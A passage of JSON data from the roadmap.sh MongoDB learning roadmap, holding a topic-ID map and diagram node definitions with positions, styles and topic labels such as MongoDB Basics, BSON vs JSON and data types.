\"gpihoIJkzSS1WOvmH2ueo\",\n  \"mongodb-aggregation:common-operators:match\": \"_c7itVw1R1_UB-NPtL-WI\",\n  \"mongodb-aggregation:common-operators:group\": \"nz048lC4Q4S7fMVbxLGEk\",\n  \"mongodb-aggregation:common-operators:sort\": \"BCWS8uV2pSWe7CX-VlnTg\",\n  \"mongodb-aggregation:common-operators:project\": \"dO2mJejkWBH903LG0dWgN\",\n  \"mongodb-aggregation:common-operators:skip\": \"4CjjGPOy-385Bco_PeQwa\",\n  \"mongodb-aggregation:common-operators:limit\": \"AzUVaGnGv9uypJ31alR9r\",\n  \"mongodb-aggregation:common-operators:unwind\": \"AY-8KJGA9ZA6ay3rbURt3\",\n  \"mongodb-aggregation:common-operators:lookup\": \"strw_oGTkZEH-o8zA4IRP\",\n  \"mongodb-aggregation:common-operators:sum\": \"CfM0iyd2bNRIiDWTUkspd\",\n  \"mongodb-aggregation:pipelines-stages-operators\": \"eDks8Jmsbq3_nHgLydyxP\",\n  \"transactions\": \"aHcmsaqAfG5fC90VV-EHP\",\n  \"developer-tools\": \"6H2MMnEfS6uHGS-6pFo8u\",\n  \"developer-tools:language-drivers\": \"73REfcB_T0yBP-KQ0EYmF\",\n  \"developer-tools:mongodb-connectors:kafka\": \"JAosQ9tFj7y70lGQ0vHzC\",\n  \"developer-tools:mongodb-connectors:spark\": \"K09-nD6xF5YJUQBBpFXMz\",\n  \"developer-tools:mongodb-connectors:elastic-search\": \"kJJ-W6BV1ofIvuFT_PCcz\",\n  \"developer-tools:backup-recovery:mongodump\": \"xaWDHCkcGm4oovPPxVMB9\",\n  \"developer-tools:backup-recovery:mongorestore\": \"TKngxMNGMgrdO26D7eeSg\",\n  \"scaling-mongodb\": \"cOKQQ7SaiawWF49MdCGTh\",\n  \"scaling-mongodb:replicasets\": \"QrHT-H12AV4-V-y_nzmNk\",\n  \"scaling-mongodb:sharded-clusters\": \"CijW3HCjVRZHQIBsQ9_0H\",\n  \"scaling-mongodb:tuning-configuration\": \"iVDxuERBjKMBHueEfqP0x\",\n  \"scaling-mongodb:indexing\": \"XjB0uOnsYl4edzZWpQ-nm\",\n  \"scaling-mongodb:query-optimization\": \"4L9UQ4oaaK3wZwOLIMa6T\",\n  \"mongodb-security\": \"LC923iJhfiUDIs_0-9rc7\",\n  \"mongodb-security:role-based-access-control\": \"yRJ6jeysFXBpwLEqvrdKk\",\n  \"mongodb-security:x509-certificate-auth\": \"NV39oWwr7iB_dnlnD_Q6Y\",\n  \"mongodb-security:kerberos-authentication\": \"YuzMOO7kf2tO6V6WehqF_\",\n  \"mongodb-security:ldap-proxy-auth\": \"NoDNdno9UOlMrOC0Wga9E\",\n  \"mongodb-security:mongodb-audit\": \"w1L-yFBM2AyeNBFyH5skW\",\n  \"mongodb-security:encryption:encryption-at-rest\": \"iJjqlTgXxHWC-8bh6uCGQ\",\n  \"mongodb-security:encryption:queryable-encryption\": \"LpfuM6SuhlNNjBcHM68ee\",\n  \"mongodb-security:encryption:client-side-field-level-encryption\": \"5F7zAAnvnVTTnBzOB7TSu\"\n}"
  },
  {
    "path": "src/data/roadmaps/mongodb/mongodb.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"zbPmRKsJEPj3DRoBvzcUc\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -124.07998238801679,\n        \"y\": 1987.0903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -124.07998238801679,\n        \"y\": 1987.0903301866163\n      }\n    },\n    {\n      \"id\": \"ZvC3oxZLBvXUjoWZqCWX2\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 52.444181096653665,\n        \"y\": 1950.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 277\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 52.444181096653665,\n        \"y\": 1950.7051467174065\n      }\n    },\n    {\n      \"id\": \"1HBTZGBuT2cKNmwgFkGOF\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -714.5558189033463,\n        \"y\": 1524.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 170\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5558189033463,\n        \"y\": 1524.7051467174065\n      }\n    },\n    {\n      \"id\": \"jUeL4fW8Xlr5iB6MvlvS1\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1382.786889864178\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 221\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1382.786889864178\n      }\n    },\n    {\n      \"id\": \"3Ws8Y34nbhyYTD7T3HnAd\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -711.7434533747889,\n        \"y\": 949.0061176237589\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 232\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.7434533747889,\n        \"y\": 949.0061176237589\n      }\n    },\n    {\n      \"id\": \"P8q0Gc8jjCGizF17aNBho\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -113.15070349777379,\n        \"y\": 1176.1575062640368\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 461,\n        \"height\": 91\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -113.15070349777379,\n        \"y\": 1176.1575062640368\n      }\n    },\n    {\n      \"id\": \"-F2qzAcXPHgbcs_ADll1G\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -113.15839004727547,\n        \"y\": 1015.957390880711\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#080808\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 167\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -113.15839004727547,\n        \"y\": 1015.957390880711\n      }\n    },\n    {\n      \"id\": \"I4nV_ht5zBjcmqPR2vTLz\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 114.43048957867967,\n        \"y\": 851.4336244746441\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 169\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 114.43048957867967,\n        \"y\": 851.4336244746441\n      }\n    },\n    {\n      \"id\": \"uOPqGqPeXBrtLY8uYin3j\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -426.89915209761,\n        \"y\": 271.8088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -426.89915209761,\n        \"y\": 271.8088490418818\n      }\n    },\n    {\n      \"id\": \"4qvR1QQzrmoVIVCAsp92H\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -217.41435713301257,\n        \"y\": 2420.3667871447715\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 87\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -217.41435713301257,\n        \"y\": 2420.3667871447715\n      }\n    },\n    {\n      \"id\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -288.0799823880168,\n        \"y\": -38.879087788307686\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MongoDB\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 168,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -288.0799823880168,\n        \"y\": -38.879087788307686\n      }\n    },\n    {\n      \"id\": \"uqyE79OItPOX33E5FoGel\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -214.0799823880168,\n        \"y\": -133.0992517776511\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 81\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -214.0799823880168,\n        \"y\": -133.0992517776511\n      }\n    },\n    {\n      \"id\": \"CCmziWV0VnzZxVbjVF_br\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -15.138187271993502,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"kpF15oUmlUmk1qVGEBB7Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": -15.138187271993502,\n        \"y\": -148.2948532825934\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 361,\n        \"height\": 151\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -0.13818727199350178,\n        \"y\": -62.09925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -0.13818727199350178,\n        \"y\": -62.09925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"z50iixpcCMe9sTh-gwTI3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -324.5799823880168,\n        \"y\": 155.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MongoDB Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JfXwzkN29UGz17FYHHE3A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 50\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -324.5799823880168,\n        \"y\": 155.30884904188176\n      }\n    },\n    {\n      \"id\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 45.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"SQL vs NoSQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"W4gEPRYmk5Y7y3PjI6fR7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 45.30884904188176\n      }\n    },\n    {\n      \"id\": \"tJljSlb5S_tZLZhZHHd_I\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 98.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is MongoDB?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2rlmLn_yQQV-7DpX1qT98\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 98.30884904188176\n      }\n    },\n    {\n      \"id\": \"w_rUaBorHFOY74S0JiEwM\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"CVNNr97eZmGVFZyNVmR9b\",\n            \"label\": \"Backend Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"oWh5sZE3GhIEQKIuWYM0o\",\n            \"label\": \"Node.js Roadmap\",\n            \"url\": \"https://roadmap.sh/nodejs\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 354,\n        \"height\": 130\n      },\n      \"dragging\": false,\n      \"width\": 260,\n      \"height\": 128,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": -148.2948532825934\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"O5dely89N5UCMBeUfh8ud\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -501.64790096520323,\n        \"y\": 2298.3667871447715\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"For ecosystem and more, check these other tracks involving GraphQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -501.64790096520323,\n        \"y\": 2298.3667871447715\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 597,\n        \"height\": 122\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"6AIUtChWC_gK8Ax0UuBjd\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -486.89915209761,\n        \"y\": 2353.012444577881\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend Roadmap\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"f5WRewBlpeYMf71cPcXs-\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -486.89915209761,\n        \"y\": 2353.012444577881\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"f5WRewBlpeYMf71cPcXs-\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -201.01896463017817,\n        \"y\": 2353.012444577881\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend Roadmap\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"StxLh1r3qXqyRSqfJGird\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -201.01896463017817,\n        \"y\": 2353.012444577881\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qh8MEbXKPVt8mqlarhUj0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 151.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"When to use MongoDB?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2rlmLn_yQQV-7DpX1qT98\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 151.30884904188176\n      }\n    },\n    {\n      \"id\": \"1UXfFROvcunyhkx0zB_1S\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 204.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is MongoDB Atlas?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2rlmLn_yQQV-7DpX1qT98\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 204.30884904188176\n      }\n    },\n    {\n      \"id\": \"1pCWjSvjvbox5OpyWJ8Kv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 257.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MongoDB Terminology\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2rlmLn_yQQV-7DpX1qT98\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 257.3088490418818\n      }\n    },\n    {\n      \"id\": \"_UIfRdlj6BeEESw1FW9RH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -325.0799823880168,\n        \"y\": 257.3088490418818\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Model & Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JfXwzkN29UGz17FYHHE3A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -325.0799823880168,\n        \"y\": 257.3088490418818\n      }\n    },\n    {\n      \"id\": \"F4W9XBSbkpzWIrAhRBSRS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -714.5421273853722,\n        \"y\": 29.96665296246273\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"BSON vs JSON\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QF7SL237FyBQdqvKUzop6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5421273853722,\n        \"y\": 29.96665296246273\n      }\n    },\n    {\n      \"id\": \"6MqhN-PTf1PRzYCTxC8pn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -714.5421273853722,\n        \"y\": 82.96665296246272\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Embedded Objects & Arrays\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"z6I9XgIGQYWUd5l9DIZRX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5421273853722,\n        \"y\": 82.96665296246272\n      }\n    },\n    {\n      \"id\": \"4Cf_wcoByPqpOOpdbAJuq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -714.5421273853722,\n        \"y\": 149.30884904188176\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Double\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OGtR5D_DUCSci1lFBT83z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -714.5421273853722,\n        \"y\": 149.30884904188176\n      }\n    },\n    {\n      \"id\": \"eU4XCnrf27FO3KCda8QYw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -571.7280153711943,\n        \"y\": 148.87044239438436\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"String\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QF7SL237FyBQdqvKUzop6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 266\n      },\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -571.7280153711943,\n        \"y\": 148.87044239438436\n      }\n    },\n    {\n      \"id\": \"q6ZKxFcSAQ8bgUdGaDpuu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -714.5421273853722,\n        \"y\": 202.30884904188179\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Array\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n   